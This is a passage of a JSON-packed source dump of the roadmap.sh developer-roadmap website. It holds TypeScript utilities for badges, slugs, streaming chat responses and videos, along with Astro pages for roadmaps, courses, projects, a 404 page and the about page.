document.querySelectorAll('[data-progress-skipped]');\n  if (skippedCountEls.length > 0) {\n    skippedCountEls.forEach(\n      (skippedCountEl) => (skippedCountEl.innerHTML = `${totalSkipped}`),\n    );\n  }\n\n  const totalCountEls = document.querySelectorAll('[data-progress-total]');\n  if (totalCountEls.length > 0) {\n    totalCountEls.forEach(\n      (totalCountEl) => (totalCountEl.innerHTML = `${totalItems}`),\n    );\n  }\n\n  const progressPercentage =\n    Math.round(((totalDone + totalSkipped) / totalItems) * 100) || 0;\n  const progressPercentageEls = document.querySelectorAll(\n    '[data-progress-percentage]',\n  );\n  if (progressPercentageEls.length > 0) {\n    progressPercentageEls.forEach(\n      (progressPercentageEl) =>\n        (progressPercentageEl.innerHTML = `${progressPercentage}`),\n    );\n  }\n\n  progressNumsContainers.forEach((progressNumsContainer) =>\n    progressNumsContainer.classList.remove('striped-loader'),\n  );\n  progressNums.forEach((progressNum) => {\n    progressNum.classList.remove('opacity-0');\n  });\n}\n"
  },
  {
    "path": "src/lib/road-card.ts",
    "content": "export async function getRoadCard(\n  version: 'tall' | 'wide',\n  userId: string,\n  variant: 'dark' | 'light',\n  roadmaps: string = '',\n) {\n  const url = new URL(\n    `${import.meta.env.PUBLIC_API_URL}/v1-badge/${version}/${userId}`,\n  );\n  url.searchParams.set('variant', variant);\n  if (roadmaps) {\n    url.searchParams.set('roadmaps', roadmaps);\n  }\n\n  const response = await fetch(url.toString());\n  return response.text();\n}\n"
  },
  {
    "path": "src/lib/roadmap.ts",
    "content": "import type { PageType } from '../components/CommandMenu/CommandMenu';\nimport { httpGet } from './http';\nimport type { ResourceType } from './resource-progress';\n\nexport type AllowedRoadmapRenderer = 'balsamiq' | 'editor';\n\nexport interface RoadmapFrontmatter {\n  pdfUrl: string;\n  order: number;\n  briefTitle: string;\n  briefDescription: string;\n  title: string;\n  description: string;\n  hasTopics: boolean;\n  isForkable?: boolean;\n  isHidden: boolean;\n  isNew: boolean;\n  isUpcoming: boolean;\n  partner?: {\n    description: string;\n    link: string;\n    linkText: string;\n  };\n  courses?: {\n    title: string;\n    description: string;\n    link: string;\n    instructor: {\n      name: string;\n      image: string;\n      title: string;\n    };\n    features: string[];\n  }[];\n  note?: string;\n  question?: {\n    title: string;\n    description: string;\n  };\n  dimensions?: {\n    width: number;\n    height: number;\n  };\n  seo: {\n    title: string;\n    description: string;\n    ogImageUrl?: string;\n    keywords: string[];\n  };\n  schema?: {\n    headline: string;\n    description: string;\n    datePublished: string;\n    dateModified: string;\n    imageUrl: string;\n  };\n  relatedRoadmaps: string[];\n  relatedQuestions: string[];\n  sitemap: {\n    priority: number;\n    changefreq: string;\n  };\n  tags: string[];\n  renderer?: AllowedRoadmapRenderer;\n}\n\nexport async function getResourceMeta(\n  resourceType: ResourceType,\n  resourceId: string,\n) {\n  const { error, response } = await httpGet<PageType[]>(`/pages.json`);\n  if (error || !response) {\n    return null;\n  }\n\n  const page = response.find((page) => {\n    if (resourceType === 'roadmap') {\n      return page.url === `/${resourceId}`;\n    } else if (resourceType === 'best-practice') {\n      return page.url === `/best-practices/${resourceId}`;\n    }\n\n    return false;\n  });\n\n  if (!page) {\n    return null;\n  }\n\n  return page;\n}\n"
  },
  {
    "path": "src/lib/slugger.ts",
    "content": "const regex = /[^A-Za-z0-9_\\- ]/g;\nexport function slugify(value: string): string {\n  if (typeof value !== 'string') {\n    return '';\n  }\n\n  return value.toLowerCase().replace(regex, '').trim().replace(/ /g, '-');\n}\n"
  },
  {
    "path": "src/lib/stream.ts",
    "content": "export const CHAT_RESPONSE_PREFIX = {\n  message: '0',\n  details: 'd',\n} as const;\n\nconst NEWLINE = '\\n'.charCodeAt(0);\n\nfunction concatChunks(chunks: Uint8Array[], totalLength: number) {\n  const concatenatedChunks = new Uint8Array(totalLength);\n\n  let offset = 0;\n  for (const chunk of chunks) {\n    concatenatedChunks.set(chunk, offset);\n    offset += chunk.length;\n  }\n  chunks.length = 0;\n\n  return concatenatedChunks;\n}\n\ntype CompletionTextPart = {\n  type: 'text';\n  content: string;\n};\n\ntype CompletionDetailsPart<D extends Record<string, unknown>> = {\n  type: 'details';\n  data: D;\n};\n\nexport type CompletionPart<\n  D extends Record<string, unknown> = Record<string, unknown>,\n> = CompletionTextPart | CompletionDetailsPart<D>;\n\nexport async function readDataStream<D extends Record<string, unknown>>(\n  stream: ReadableStream<Uint8Array>,\n  {\n    onData,\n    onFinish,\n  }: {\n    onData?: (part: CompletionPart<D>) => Promise<void> | void;\n    onFinish?: () => Promise<void> | void;\n  },\n) {\n  const reader = stream.getReader();\n  const decoder = new TextDecoder('utf-8');\n  const chunks: Uint8Array[] = [];\n\n  let totalLength = 0;\n\n  while (true) {\n    const { value } = await reader.read();\n    if (value) {\n      chunks.push(value);\n      totalLength += value.length;\n      if (value[value.length - 1] !== NEWLINE) {\n        // if the last character is not a new line, we need to wait for the next chunk\n        continue;\n      }\n    }\n\n    if (chunks.length === 0) {\n      // end of stream\n      break;\n    }\n\n    const concatenatedChunks = concatChunks(chunks, totalLength);\n    totalLength = 0;\n\n    const streamParts: CompletionPart<D>[] = decoder\n      .decode(concatenatedChunks, { stream: true })\n      .split('\\n')\n      .filter((line) => line !== '')\n      .map((line) => {\n        const separatorIndex = line.indexOf(':');\n        if (separatorIndex === -1) {\n          throw new Error('Invalid line: ' + line + '. No separator found.');\n        }\n\n        const prefix = line.slice(0, separatorIndex);\n        const content = line.slice(separatorIndex + 1);\n\n        switch (prefix) {\n          case CHAT_RESPONSE_PREFIX.message:\n            return { type: 'text', content: JSON.parse(content) };\n          case CHAT_RESPONSE_PREFIX.details:\n            return { type: 'details', data: JSON.parse(content) };\n          default:\n            throw new Error('Invalid prefix: ' + prefix);\n        }\n      });\n\n    for (const part of streamParts) {\n      await onData?.(part);\n    }\n  }\n\n  await onFinish?.();\n  reader.releaseLock();\n}\n"
  },
  {
    "path": "src/lib/video.ts",
    "content": "import type { MarkdownFileType } from './file';\nimport type { AuthorFileType } from './author.ts';\nimport { getAllAuthors } from './author.ts';\n\nexport interface VideoFrontmatter {\n  title: string;\n  description: string;\n  authorId: string;\n  seo: {\n    title: string;\n    description: string;\n  };\n  isNew: boolean;\n  duration: string;\n  date: string;\n  sitemap: {\n    priority: number;\n    changefreq: 'daily' | 'weekly' | 'monthly' | 'yearly';\n  };\n  tags: string[];\n}\n\nexport type VideoFileType = MarkdownFileType<VideoFrontmatter> & {\n  id: string;\n  author: AuthorFileType;\n};\n\n/**\n * Generates id from the given video file\n * @param filePath Markdown file path\n *\n * @returns unique video identifier\n */\nfunction videoPathToId(filePath: string): string {\n  const fileName = filePath.split('/').pop() || '';\n\n  return fileName.replace('.md', '');\n}\n\nexport async function getVideosByAuthor(\n  authorId: string,\n): Promise<VideoFileType[]> {\n  const allVideos = await getAllVideos();\n\n  return allVideos.filter((video) => video.author?.id === authorId);\n}\n\n/**\n * Gets all the videos sorted by the publishing date\n * @returns Promisifed video files\n */\nexport async function getAllVideos(): Promise<VideoFileType[]> {\n  const videos = import.meta.glob<VideoFileType>('/src/data/videos/*.md', {\n    eager: true,\n  });\n\n  const allAuthors = await getAllAuthors();\n\n  const videoFiles = Object.values(videos);\n  const enrichedVideos = videoFiles.map((videoFile) => ({\n    ...videoFile,\n    id: videoPathToId(videoFile.file),\n    author: allAuthors.find(\n      (author) => author.id === videoFile.frontmatter.authorId,\n    )!,\n  }));\n\n  return enrichedVideos.sort(\n    (a, b) =>\n      new Date(b.frontmatter.date).valueOf() -\n      new Date(a.frontmatter.date).valueOf(),\n  );\n}\n\nexport async function getVideoById(id: string): Promise<VideoFileType> {\n  const videoFilesMap: Record<string, VideoFileType> =\n    import.meta.glob<VideoFileType>('../data/videos/*.md', {\n      eager: true,\n    });\n\n  const videoFile = Object.values(videoFilesMap).find((videoFile) => {\n    return videoPathToId(videoFile.file) === id;\n  });\n  if (!videoFile) {\n    throw new Error(`Video with ID ${id} not found`);\n  }\n\n  return {\n    ...videoFile,\n    id: videoPathToId(videoFile.file),\n  };\n}\n"
  },
  {
    "path": "src/pages/404.astro",
    "content": "---\nimport Icon from '../components/AstroIcon.astro';\nimport BaseLayout from '../layouts/BaseLayout.astro';\nimport { listOfficialRoadmaps } from '../queries/official-roadmap';\n\nconst roadmapIds = await listOfficialRoadmaps();\nconst legacyRoadmapUrls = [\n  ...roadmapIds.map((roadmap) => `/${roadmap.slug}/`),\n  '/roadmaps/',\n];\n---\n\n<BaseLayout title='Page not found' permalink={'/404'} noIndex={true}>\n  <!-- Legacy roadmap pages handling -->\n  <script slot='after-header' define:vars={{ legacyRoadmapUrls }}>\n    // If it's a roadmap page and it ends with a slash\n    // redirect to the same page without the slash\n    if (legacyRoadmapUrls.includes(window.location.pathname)) {\n      window.location.pathname = window.location.pathname.slice(0, -1);\n    }\n  </script>\n\n  <div class='bg-gray-100'>\n    <div\n      class='container flex flex-col items-center justify-center gap-7 py-10 md:flex-row md:py-32'\n    >\n      <Icon icon='construction' class='hidden md:block' />\n      <div class='text-left md:text-left'>\n        <h1\n          class='bg-linear-to-t from-black to-gray-600 bg-clip-text text-2xl leading-normal font-extrabold text-transparent md:text-5xl md:leading-normal'\n        >\n          Page not found!\n        </h1>\n        <p class='text-md mb-2 md:text-xl'>\n          Sorry, we couldn't find the page you are looking for.\n        </p>\n        <p>\n          <a class='text-blue-700 underline' href='/'>Homepage</a> &middot; <a\n            href='/roadmaps'\n            class='text-blue-700 underline'>Roadmaps</a\n          > &middot; <a href='/best-practices' class='text-blue-700 underline'\n            >Best Practices</a\n          >\n        </p>\n      </div>\n    </div>\n  </div>\n</BaseLayout>\n"
  },
  {
    "path": "src/pages/[roadmapId]/[...topicId].astro",
    "content": "---\nimport fs from 'node:fs';\nimport path from 'node:path';\nimport MarkdownIt from 'markdown-it-async';\nimport { fileURLToPath } from 'node:url';\nimport {\n  getOfficialGuide,\n  type OfficialGuideResponse,\n} from '../../queries/official-guide';\nimport BaseLayout from '../../layouts/BaseLayout.astro';\nimport { GuideContent } from '../../components/Guide/GuideContent';\nimport { getOpenGraphImageUrl } from '../../lib/open-graph';\nimport {\n  getOfficialRoadmapTopic,\n  prepareOfficialRoadmapTopicContent,\n} from '../../queries/official-roadmap-topic';\n\nexport const prerender = false;\n\nconst { topicId, roadmapId } = Astro.params;\n\nif (!topicId || !roadmapId) {\n  Astro.response.status = 404;\n  Astro.response.statusText = 'Not found';\n\n  return Astro.rewrite('/404');\n}\n\nconst isTopic = topicId?.includes('@') || topicId?.includes('/');\nlet gitHubUrl = '';\nlet htmlContent = '';\nlet guide: OfficialGuideResponse | null = null;\nlet permalink = '';\nlet ogImageUrl = '';\n\nif (isTopic) {\n  // Handle nested paths by joining the segments\n  const topicPath = Array.isArray(topicId) ? topicId.join('/') : topicId;\n\n  // Get the project root directory\n  const __filename = fileURLToPath(import.meta.url);\n  const __dirname = path.dirname(__filename);\n\n  // hack to make it work. TODO: Fix\n  const projectRoot = path.resolve(__dirname, '../../..').replace(/dist$/, '');\n\n  // Construct the path to the markdown file\n  let contentPath = path.join(\n    projectRoot,\n    'src',\n    'data',\n    'roadmaps',\n    roadmapId,\n    'content',\n    `${topicPath}.md`,\n  );\n\n  const nodeId = topicPath.split('@')?.[1];\n  if (!nodeId) {\n    Astro.response.status = 404;\n    Astro.response.statusText = 'Not found';\n    return Astro.rewrite('/404');\n  }\n\n  const topic = await getOfficialRoadmapTopic({\n    roadmapSlug: roadmapId,\n    nodeId,\n  });\n\n  if (topic) {\n    const md = MarkdownIt();\n    htmlContent = await md.renderAsync(\n      prepareOfficialRoadmapTopicContent(topic),\n    );\n  } else {\n    htmlContent = '<h1>Not found</h1>';\n  }\n\n  const fileWithoutBasePath = contentPath.replace(\n    /.+?\\/src\\/data/,\n    '/src/data',\n  );\n  gitHubUrl = `https://github.com/kamranahmedse/developer-roadmap/tree/master${fileWithoutBasePath}`;\n} else {\n  guide = await getOfficialGuide(topicId, roadmapId);\n  if (!guide) {\n    Astro.response.status = 404;\n    Astro.response.statusText = 'Not found';\n    return Astro.rewrite('/404');\n  }\n\n  permalink = `/${roadmapId}/${topicId}`;\n  ogImageUrl =\n    guide?.featuredImage ||\n    getOpenGraphImageUrl(\n      {\n        group: 'guide',\n        resourceId: topicId,\n      },\n      {\n        roadmapId,\n      },\n    );\n}\n---\n\n{\n  isTopic ? (\n    <>\n      <div data-github-url={gitHubUrl} />\n      <Fragment set:html={htmlContent} />\n    </>\n  ) : (\n    <BaseLayout\n      title={guide?.seo?.metaTitle ?? guide?.title ?? ''}\n      description={guide?.seo?.metaDescription ?? guide?.description ?? ''}\n      permalink={permalink}\n      ogImageUrl={ogImageUrl}\n    >\n      <GuideContent guide={guide!} client:load />\n      <div slot='changelog-banner' />\n    </BaseLayout>\n  )\n}\n"
  },
  {
    "path": "src/pages/[roadmapId]/courses.astro",
    "content": "---\nimport RoadmapHeader from '../../components/RoadmapHeader.astro';\nimport BaseLayout from '../../layouts/BaseLayout.astro';\nimport { getOpenGraphImageUrl } from '../../lib/open-graph';\nimport { listOfficialProjects } from '../../queries/official-project';\nimport { officialRoadmapDetails } from '../../queries/official-roadmap';\n\nexport const prerender = false;\n\ninterface Params extends Record<string, string | undefined> {\n  roadmapId: string;\n}\n\nconst { roadmapId } = Astro.params as Params;\nconst roadmapData = await officialRoadmapDetails(roadmapId);\nif (!roadmapData) {\n  Astro.response.status = 404;\n  Astro.response.statusText = 'Not found';\n  return Astro.rewrite('/404');\n}\n\n// update og for projects\nconst ogImageUrl =\n  roadmapData?.openGraph?.image ||\n  getOpenGraphImageUrl({\n    group: 'roadmap',\n    resourceId: roadmapId,\n  });\n\nconst descriptionNoun: Record<string, string> = {\n  'AI and Data Scientist': 'AI and Data Science',\n  'Game Developer': 'Game Development',\n  'Technical Writer': 'Technical Writing',\n  'Product Manager': 'Product Management',\n};\n\nconst title = `${roadmapData?.title.card} Courses`;\nconst description = `Premium courses to help you master ${descriptionNoun[roadmapData?.title.card] || roadmapData?.title.card}`;\n\nconst seoTitle = `${roadmapData?.title.card} Courses`;\nconst nounTitle =\n  descriptionNoun[roadmapData.title.card] || roadmapData.title.card;\nconst seoDescription = `Seeking ${nounTitle.toLowerCase()} courses to enhance your skills? Explore our top free and paid courses to help you become a ${nounTitle} expert!`;\n\nconst projects = await listOfficialProjects({ roadmapId });\nconst courses = roadmapData?.courses || [];\n---\n\n<BaseLayout\n  permalink={`/${roadmapId}`}\n  title={seoTitle}\n  description={seoDescription}\n  briefTitle={roadmapData.title.card}\n  ogImageUrl={ogImageUrl}\n  keywords={roadmapData.seo.keywords}\n  resourceId={roadmapId}\n  resourceType='roadmap'\n  noIndex={true}\n>\n  <div class='bg-gray-50'>\n    <RoadmapHeader\n      title={title}\n      description={description}\n      partner={roadmapData.partner}\n      roadmapId={roadmapId}\n      isForkable={true}\n      coursesCount={courses.length}\n      projectCount={projects.length}\n      activeTab='courses'\n      hasAIChat={true}\n    />\n\n    <div class='container'>\n      <div class='relative mt-2.5 mb-8'>\n        <div class='my-4 flex items-center justify-between'>\n          <p class='border-l-4 border-black pl-2 text-sm text-black'>\n            Official Courses by <span class='font-semibold'> roadmap.sh </span>\n            team\n          </p>\n          <div class='hidden text-sm text-gray-500 sm:block'>\n            More coming soon\n          </div>\n        </div>\n\n        <div class='grid grid-cols-1 gap-5 md:grid-cols-1'>\n          {\n            courses.map((course) => (\n              <a\n                href={course.link}\n                class='block rounded-lg border border-gray-200 bg-white p-6 duration-300 hover:border-gray-400/60'\n              >\n                <div class='flex justify-between'>\n                  <div class='flex-1'>\n                    <h3 class='mb-2 text-2xl font-bold text-black'>\n                      {course.title}\n                    </h3>\n                    <p class='text-base text-gray-600'>{course.description}</p>\n\n                    {course.features.length > 0 && (\n                      <>\n                        <div class='my-6 flex flex-wrap gap-2'>\n                          {course.features.map((feature) => (\n                            <span class='rounded-full border border-gray-200 bg-gray-100 px-2 py-0.5 text-xs text-gray-700'>\n                              {feature}\n                            </span>\n                          ))}\n                        </div>\n                        <div class='mt-6 flex flex-col items-start justify-between gap-3 sm:mt-0 sm:flex-row sm:items-center sm:gap-0'>\n                          <div class='flex items-center'>\n                            <img\n                              src={course.instructor.image}\n                              alt={course.instructor.name}\n                              class='mr-3 h-12 w-12 rounded-full border border-gray-200'\n                            />\n                            <div>\n                              <p class='text-base font-medium text-gray-900'>\n                                {course.instructor.name}\n                              </p>\n                              <p class='text-sm text-gray-500'>\n                                {course.instructor.title}\n                              </p>\n                            </div>\n                          </div>\n\n                          <span class='group mt-3 w-full rounded-lg border border-gray-900 bg-gray-900 px-4 py-2 text-sm font-medium text-white transition-colors duration-300 hover:opacity-80 sm:mt-0 sm:w-auto sm:py-1.5'>\n                            View Course <span class='ml-1'>&rarr;</span>\n                          </span>\n                        </div>\n                      </>\n                    )}\n                  </div>\n                </div>\n              </a>\n            ))\n          }\n        </div>\n\n        {\n          courses.length === 0 && (\n            <div class='rounded-lg border border-gray-200 bg-white py-10 text-center'>\n              <h3 class='mb-2 text-lg font-medium text-gray-700'>\n                No courses available yet\n              </h3>\n              <p class='text-sm text-gray-500'>\n                We're working on creating premium courses for this roadmap.\n                Check back soon!\n              </p>\n            </div>\n          )\n        }\n      </div>\n    </div>\n  </div>\n</BaseLayout>\n"
  },
  {
    "path": "src/pages/[roadmapId]/index.astro",
    "content": "---\nimport { EditorRoadmap } from '../../components/EditorRoadmap/EditorRoadmap';\nimport { FAQs } from '../../components/FAQs/FAQs';\nimport RelatedRoadmaps from '../../components/RelatedRoadmaps.astro';\nimport RoadmapHeader from '../../components/RoadmapHeader.astro';\nimport { ShareIcons } from '../../components/ShareIcons/ShareIcons';\nimport { TopicDetail } from '../../components/TopicDetail/TopicDetail';\nimport { UserProgressModal } from '../../components/UserProgress/UserProgressModal';\nimport BaseLayout from '../../layouts/BaseLayout.astro';\nimport { isNewRoadmap } from '../../queries/official-roadmap';\nimport {\n  generateArticleSchema,\n  generateFAQSchema,\n} from '../../lib/jsonld-schema';\nimport { getOpenGraphImageUrl } from '../../lib/open-graph';\nimport { RoadmapTitleQuestion } from '../../components/RoadmapTitleQuestion';\nimport ResourceProgressStats from '../../components/ResourceProgressStats.astro';\nimport { CheckSubscriptionVerification } from '../../components/Billing/CheckSubscriptionVerification';\nimport { officialRoadmapDetails } from '../../queries/official-roadmap';\nimport { DateTime } from 'luxon';\nimport { listOfficialProjects } from '../../queries/official-project';\n\nexport const prerender = false;\n\ninterface Params extends Record<string, string | undefined> {\n  roadmapId: string;\n}\n\nconst { roadmapId } = Astro.params as Params;\nconst roadmapData = await officialRoadmapDetails(roadmapId);\nif (!roadmapData) {\n  Astro.response.status = 404;\n  Astro.response.statusText = 'Not found';\n  return Astro.rewrite('/404');\n}\n\nlet jsonLdSchema = [];\n\nconst datePublished = DateTime.fromJSDate(\n  new Date(roadmapData?.createdAt),\n).toFormat('yyyy-MM-dd');\nconst dateModified = DateTime.fromJSDate(\n  new Date(roadmapData?.updatedAt),\n).toFormat('yyyy-MM-dd');\n\nconst baseUrl = import.meta.env.DEV\n  ? `http://localhost:8080`\n  : `https://roadmap.sh`;\n\njsonLdSchema.push(\n  generateArticleSchema({\n    url: `https://roadmap.sh/${roadmapId}`,\n    headline: roadmapData?.seo?.title || roadmapData?.title?.page,\n    description: roadmapData?.description,\n    datePublished,\n    dateModified,\n    imageUrl: `${baseUrl}/roadmaps/${roadmapId}.png`,\n  }),\n);\n\nconst ogImageUrl =\n  roadmapData?.openGraph?.image ||\n  getOpenGraphImageUrl({\n    group: 'roadmap',\n    resourceId: roadmapId,\n  });\n\nconst question = roadmapData?.questions?.find(\n  (question) => question.type === 'main',\n);\nconst faqs =\n  roadmapData?.questions?.filter((question) => question.type === 'faq') || [];\nif (faqs.length) {\n  jsonLdSchema.push(generateFAQSchema(faqs));\n}\n\nconst projects = await listOfficialProjects({ roadmapId });\nconst courses = roadmapData.courses || [];\n\nconst isNew = isNewRoadmap(roadmapData.createdAt);\n---\n\n<BaseLayout\n  permalink={`/${roadmapId}`}\n  title={roadmapData?.seo?.title || roadmapData?.title.page}\n  briefTitle={roadmapData.title.card}\n  ogImageUrl={ogImageUrl}\n  description={roadmapData.seo.description}\n  keywords={roadmapData.seo.keywords}\n  noIndex={false}\n  jsonLd={jsonLdSchema}\n  resourceId={roadmapId}\n  resourceType='roadmap'\n>\n  <link\n    rel='preload'\n    href='/fonts/balsamiq.woff2'\n    as='font'\n    type='font/woff2'\n    crossorigin\n    slot='after-header'\n  />\n\n  <TopicDetail\n    resourceId={roadmapId}\n    resourceType='roadmap'\n    renderer='editor'\n    client:idle\n    canSubmitContribution={true}\n  />\n\n  <div class='bg-gray-50'>\n    <RoadmapHeader\n      title={roadmapData.title.page}\n      description={roadmapData.description}\n      partner={roadmapData.partner}\n      roadmapId={roadmapId}\n      isForkable={true}\n      isNew={isNew}\n      projectCount={projects.length}\n      coursesCount={courses.length}\n      hasAIChat={true}\n    />\n\n    <div class='container mt-2.5'>\n      <div class='rounded-md border bg-white'>\n        <ResourceProgressStats resourceId={roadmapId} resourceType='roadmap' />\n        {\n          question?.title && (\n            <RoadmapTitleQuestion\n              client:load\n              roadmapId={roadmapId}\n              question={question?.title}\n              answer={question?.description}\n            />\n          )\n        }\n      </div>\n    </div>\n\n    <div class='relative container max-w-[1000px]!'>\n      <ShareIcons\n        resourceId={roadmapId}\n        resourceType='roadmap'\n        description={roadmapData.description}\n        pageUrl={`https://roadmap.sh/${roadmapId}`}\n        client:load\n      />\n\n      <EditorRoadmap\n        resourceId={roadmapId}\n        resourceType='roadmap'\n        dimensions={roadmapData.dimensions!}\n        client:load\n      />\n    </div>\n\n    <UserProgressModal\n      resourceId={roadmapId}\n      resourceType='roadmap'\n      renderer='editor'\n      client:only='react'\n    />\n\n    {\n      roadmapId === 'docker' && (\n        <p class='mb-8 px-5 text-center text-xs text-gray-400 sm:mb-12'>\n          Roadmap owner Insight Partners is an investor in Docker.\n        </p>\n      )\n    }\n\n    <FAQs faqs={faqs} client:load />\n    <RelatedRoadmaps relatedRoadmaps={roadmapData?.relatedRoadmaps || []} />\n  </div>\n\n  <CheckSubscriptionVerification client:load />\n  <div slot='changelog-banner'></div>\n</BaseLayout>\n"
  },
  {
    "path": "src/pages/[roadmapId]/projects.astro",
    "content": "---\nimport RoadmapHeader from '../../components/RoadmapHeader.astro';\nimport { EmptyProjects } from '../../components/Projects/EmptyProjects';\nimport { ProjectsList } from '../../components/Projects/ProjectsList';\nimport BaseLayout from '../../layouts/BaseLayout.astro';\nimport { getOpenGraphImageUrl } from '../../lib/open-graph';\nimport { projectApi } from '../../api/project';\nimport { officialRoadmapDetails } from '../../queries/official-roadmap';\nimport { listOfficialProjects } from '../../queries/official-project';\n\nexport const prerender = false;\n\ninterface Params extends Record<string, string | undefined> {\n  roadmapId: string;\n}\n\nconst { roadmapId } = Astro.params as Params;\nconst roadmapData = await officialRoadmapDetails(roadmapId);\nif (!roadmapData) {\n  Astro.response.status = 404;\n  Astro.response.statusText = 'Not found';\n  return Astro.rewrite('/404');\n}\n\n// update og for projects\nconst ogImageUrl =\n  roadmapData?.openGraph?.image ||\n  getOpenGraphImageUrl({\n    group: 'roadmap',\n    resourceId: roadmapId,\n  });\n\nconst descriptionNoun: Record<string, string> = {\n  'AI and Data Scientist': 'AI and Data Science',\n  'Game Developer': 'Game Development',\n  'Technical Writer': 'Technical Writing',\n  'Product Manager': 'Product Management',\n};\n\nconst title = `${roadmapData.title.card} Projects`;\nconst description = `Project ideas to take you from beginner to advanced in ${descriptionNoun[roadmapData.title.card] || roadmapData.title.card}`;\n\n// `Seeking backend projects to enhance your skills? Explore our top 20 project ideas, from simple apps to complex systems. Start building today!`\nconst seoTitle = `${roadmapData.title.card} Projects`;\nconst nounTitle =\n  descriptionNoun[roadmapData?.title.card] || roadmapData.title.card;\nconst seoDescription = `Seeking ${nounTitle.toLowerCase()} projects to enhance your skills? Explore our top 20 project ideas, from simple apps to complex systems. Start building today!`;\n\nconst projects = await listOfficialProjects({ roadmapId });\nconst projectIds = projects.map((project) => project.slug);\n\nconst projectApiClient = projectApi(Astro);\nconst { response: userCounts } =\n  await projectApiClient.listProjectsUserCount(projectIds);\n---\n\n<BaseLayout\n  permalink={`/${roadmapId}/projects`}\n  title={seoTitle}\n  description={seoDescription}\n  briefTitle={roadmapData.title.card}\n  ogImageUrl={ogImageUrl}\n  keywords={roadmapData.seo.keywords}\n  noIndex={projects.length === 0}\n  resourceId={roadmapId}\n  resourceType='roadmap'\n>\n  <div class='bg-gray-50'>\n    <RoadmapHeader\n      title={title}\n      description={description}\n      partner={roadmapData.partner}\n      roadmapId={roadmapId}\n      isForkable={true}\n      activeTab='projects'\n      projectCount={projects.length}\n      coursesCount={roadmapData.courses?.length || 0}\n      hasAIChat={true}\n    />\n\n    <div class='container'>\n      {projects.length === 0 && <EmptyProjects client:load />}\n      {\n        projects.length > 0 && (\n          <ProjectsList\n            projects={projects}\n            userCounts={userCounts || {}}\n            client:load\n          />\n        )\n      }\n    </div>\n  </div>\n</BaseLayout>\n"
  },
  {
    "path": "src/pages/[roadmapId]/svg.astro",
    "content": "---\nimport { EditorRoadmap } from '../../components/EditorRoadmap/EditorRoadmap';\nimport SkeletonLayout from '../../layouts/SkeletonLayout.astro';\nimport { getOpenGraphImageUrl } from '../../lib/open-graph';\nimport { officialRoadmapDetails } from '../../queries/official-roadmap';\n\nexport const prerender = false;\n\ninterface Params extends Record<string, string | undefined> {\n  roadmapId: string;\n}\n\nconst { roadmapId } = Astro.params as Params;\nconst roadmapData = await officialRoadmapDetails(roadmapId);\nif (!roadmapData) {\n  Astro.response.status = 404;\n  Astro.response.statusText = 'Not found';\n  return Astro.rewrite('/404');\n}\n\nconst ogImageUrl =\n  roadmapData?.openGraph?.image ||\n  getOpenGraphImageUrl({\n    group: 'roadmap',\n    resourceId: roadmapId,\n  });\n---\n\n<SkeletonLayout\n  permalink={`/${roadmapId}`}\n  title={roadmapData?.seo?.title || roadmapData.title.page}\n  briefTitle={roadmapData.title.card}\n  ogImageUrl={ogImageUrl}\n  description={roadmapData.seo.description}\n  keywords={roadmapData.seo.keywords}\n  resourceId={roadmapId}\n  resourceType='roadmap'\n  noIndex={true}\n>\n  <div class='relative container max-w-[1000px]!'>\n    <EditorRoadmap\n      resourceId={roadmapId}\n      resourceType='roadmap'\n      dimensions={roadmapData.dimensions!}\n      client:load\n      hasChat={false}\n    />\n  </div>\n</SkeletonLayout>\n"
  },
  {
    "path": "src/pages/[roadmapId].json.ts",
    "content": "import type { APIRoute } from 'astro';\nimport { officialRoadmapDetails } from '../queries/official-roadmap';\n\nexport const prerender = false;\n\nexport const GET: APIRoute = async function ({ params }) {\n  const { roadmapId } = params;\n\n  if (!roadmapId) {\n    return new Response('Roadmap ID is required', {\n      status: 400,\n    });\n  }\n\n  const roadmapJson = await officialRoadmapDetails(roadmapId);\n  if (!roadmapJson) {\n    return new Response('Roadmap not found', {\n      status: 404,\n    });\n  }\n\n  return new Response(JSON.stringify(roadmapJson), {\n    status: 200,\n    headers: {\n      'Content-Type': 'application/json',\n    },\n  });\n};\n"
  },
  {
    "path": "src/pages/about.astro",
    "content": "---\nimport BaseLayout from '../layouts/BaseLayout.astro';\nimport { getRepositoryRank } from '../lib/github.ts';\n\nconst repoRank = await getRepositoryRank('kamranahmedse/developer-roadmap');\n---\n\n<BaseLayout title='About roadmap.sh' permalink={'/about'}>\n  <div class='bg-white border-b pt-7 pb-7 sm:pt-12 sm:pb-10'>\n    <div class='container'>\n      <div class='flex items-center'>\n        <img\n          style='--aspect-ratio:170/170'\n          src='/authors/kamran.jpeg'\n          class='h-[170px] w-[170px] rounded-full mr-6 hidden sm:block'\n          alt='Kamran Ahmed'\n        />\n        <div>\n          <h1 class='text-3xl sm:text-4xl mb-3 font-bold'>\n            <span class='hidden sm:inline'>Hello,</span>&nbsp;I am Kamran Ahmed\n          </h1>\n          <p class='text-gray-500 text-md mb-5'>\n            I created roadmap.sh to help developers find their path if they are\n            confused and help them learn and grow in their career.\n          </p>\n          <p class='flex flex-col sm:flex-row gap-1.5'>\n            <a\n              class='bg-blue-600 hover:bg-blue-700 font-medium text-white px-2 py-1.5 rounded-md inline-flex items-center'\n              target='_blank'\n              href='https://twitter.com/kamrify'\n            >\n              <span class='ml-1.5 mr-1'>@kamrify</span>\n            </a>\n            <a\n              class='bg-gray-500 hover:bg-gray-700 font-medium text-white px-3 py-1.5 rounded-md inline-flex items-center'\n              target='_blank'\n              href='mailto:kamranahmed.se@gmail.com'\n            >\n              kamranahmed.se@gmail.com\n            </a>\n          </p>\n        </div>\n      </div>\n    </div>\n  </div>\n\n  <div class='bg-gray-50 py-7 sm:py-10'>\n    <div class='container'>\n      <main id='main-content'>\n        <div class='mb-5'>\n          <h2 class='text-2xl font-bold mb-2'>What is roadmap.sh?</h2>\n          <p class='mb-3'>\n            <span class='font-bold'>roadmap.sh</span> contains community-curated\n            roadmaps, study plans, paths, and resources for developers. There are\n            role-based roadmaps, listing skills you should know for any given role, as\n            well as skill-based roadmaps listing items to learn for any given skill.\n          </p>\n          <p class='mb-3'>\n            It started as a set of <a\n              href='https://github.com/kamranahmedse/developer-roadmap'\n              class='font-bold underline'\n              target='_blank'>visual charts on GitHub</a\n            > to guide developers who are confused about what they should learn\n            next, but then expanded into interactive roadmaps where you can click\n            and get resources to learn any given resource, contribute by adding new\n            roadmaps, suggest changes to existing roadmaps, track your progress as\n            you follow a roadmap and so on.\n          </p>\n        </div>\n\n        <div class='mb-5'>\n          <h2 class='text-2xl font-bold mb-2'>How are roadmaps created?</h2>\n          <p class='mb-3'>\n            The project has a strong community that powers everything on the\n            website. It is <a\n              